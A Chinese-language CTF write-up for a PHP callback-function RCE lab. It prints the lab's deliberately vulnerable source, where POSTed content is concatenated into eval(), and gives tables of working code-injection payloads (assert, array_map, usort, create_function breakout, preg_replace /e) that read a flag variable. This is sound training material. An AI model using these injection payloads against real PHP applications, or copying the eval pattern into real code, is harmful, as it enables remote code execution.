PHP回调函数

PHP回调函数RCE靶场 WriteUp

php 复制代码
<?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

function get_fun(){

    $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
    
    echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }
    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>

一、 题目分析

题目核心代码如下:

php 复制代码
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

代码逻辑:

系统从列表中随机抽取一个PHP函数赋给 $function,用户通过 POST 提交 content 参数,两者拼接后进入 eval() 执行。例如:函数是 array_filter,用户输入 X,最终执行的就是 array_filter(X);

目标: 构造合适的 content,让拼接后的代码能读取全局变量 $flag


二、 踩坑记录与核心思路转变(重要!)

在最初尝试时,针对回调函数(如 array_filter),我使用了 assert 作为回调来执行代码:

http 复制代码
content=['echo $flag'], 'assert'

报错:

Fatal error: Uncaught ArgumentCountError: array_filter() expects at most 2 arguments, 3 given

原因分析:

  1. PHP版本问题 :PHP 7.2 及以上版本,assert() 不再作为普通的可回调函数使用,将其作为字符串传入 call_user_func 或数组回调中会导致解析异常或参数错位。
  2. 变量解析问题$flag 被解析为具体的字符串后,如果内部包含单引号或特殊字符,会导致原本的字符串提前闭合,使得 PHP 误判为传入了多余的参数。

核心思路转变:

对于带有回调特性的函数(array_map, array_filter, usort 等),最稳定、最通用的方法不是让回调去"执行代码",而是让回调去"打印变量"

我们将 $flag 放入数组中,回调函数使用 var_dumpprint_r。系统执行时,会自动将数组中的 $flag 取出传给 var_dump,从而直接输出 flag,完美避开 assert 的兼容性问题!


三、 抓包改包操作流程

  1. 访问首页,记录页面提示的随机函数名Cookie (PHPSESSID)
  2. 使用 Burp Suite / Hackbar 构造 POST 请求,URL 加上 ?action=submit
  3. 必须带上 Cookie,否则 Session 丢失,服务器会重新随机函数导致 Payload 失效。
  4. 在 Body 中传入对应的 content(注意:抓包改包时特殊字符需进行 URL 编码)。

四、 全函数 Payload 字典(抓包专用)

以下 Payload 均已解决引号闭合和参数数量问题,分为直接代码执行型回调变量输出型 。推荐优先使用 var_dump 方法,通杀所有 PHP 版本。

1. eval / assert (直接执行型)

需用单引号包裹代码,拼接后为 eval('echo $flag');

函数 content 明文 抓包 Body (URL编码)
eval 'echo $flag' content='echo%20%24flag'
assert 'echo $flag' content='echo%20%24flag'

2. 回调执行代码型(仅适用于 PHP < 7.2)

通过回调 assert 执行代码。

函数 content 明文 抓包 Body (URL编码)
call_user_func 'assert', 'echo $flag' content='assert'%2C%20'echo%20%24flag'
call_user_func_array 'assert', ['echo $flag'] content='assert'%2C%20%5B'echo%20%24flag'%5D
array_map 'assert', ['echo $flag'] content='assert'%2C%20%5B'echo%20%24flag'%5D
array_filter ['echo $flag'], 'assert' content=%5B'echo%20%24flag'%5D%2C%20'assert'
usort ['echo $flag','echo $flag'], 'assert' content=%5B'echo%20%24flag'%2C'echo%20%24flag'%5D%2C%20'assert'
array_reduce [0], 'assert', 'echo $flag' content=%5B0%5D%2C%20'assert'%2C%20'echo%20%24flag'

3. 回调变量输出型(🌟 通杀推荐,适配 PHP 7.2+)

不执行代码,直接用 var_dump 打印 $flag 变量本身,无需引号包裹 $flag

函数 content 明文 抓包 Body (URL编码)
call_user_func 'var_dump', $flag content='var_dump'%2C%20%24flag
call_user_func_array 'var_dump', [$flag] content='var_dump'%2C%20%5B%24flag%5D
array_map 'var_dump', [$flag] content='var_dump'%2C%20%5B%24flag%5D
array_filter [$flag], 'var_dump' content=%5B%24flag%5D%2C%20'var_dump'
usort [$flag,1], 'var_dump' content=%5B%24flag%2C1%5D%2C%20'var_dump'
array_reduce [$flag], 'var_dump' content=%5B%24flag%5D%2C%20'var_dump'

4. 特殊构造型

函数 content 明文 抓包 Body (URL编码) 原理
create_function '', '}echo $flag;/*' content=''%2C%20'%7Decho%20%24flag%3B%2F*' 提前闭合函数体,注释掉多余的 }
preg_replace '/./e', 'echo $flag', '1' content='%2F.%2Fe'%2C%20'echo%20%24flag'%2C%20'1' 利用 /e 修饰符执行替换字符串(仅限 PHP < 7.0)

五、 总结

做 PHP 回调函数 RCE 题目时:

  1. 看清 PHP 版本 :高版本直接放弃 assert 回调。
  2. 思路要灵活 :不要死磕"执行代码",利用系统自带的输出函数(var_dump, print_r)作为回调去"打印变量"是更优雅、更稳定的解法。
  3. 注意抓包细节 :一定要带上 Session Cookie,且 Body 中的特殊字符(如空格、$[])必须 URL 编码,否则极易出现参数解析错误。
相关推荐
两个人的幸福8 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo10 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack10 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820711 天前
PHP 扩展——从入门到理解
php
鹏仔先生12 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下12 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest12 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip12 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
上海云盾第一敬业销售12 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手12 天前
l33t-hoster
学习·web安全·网络安全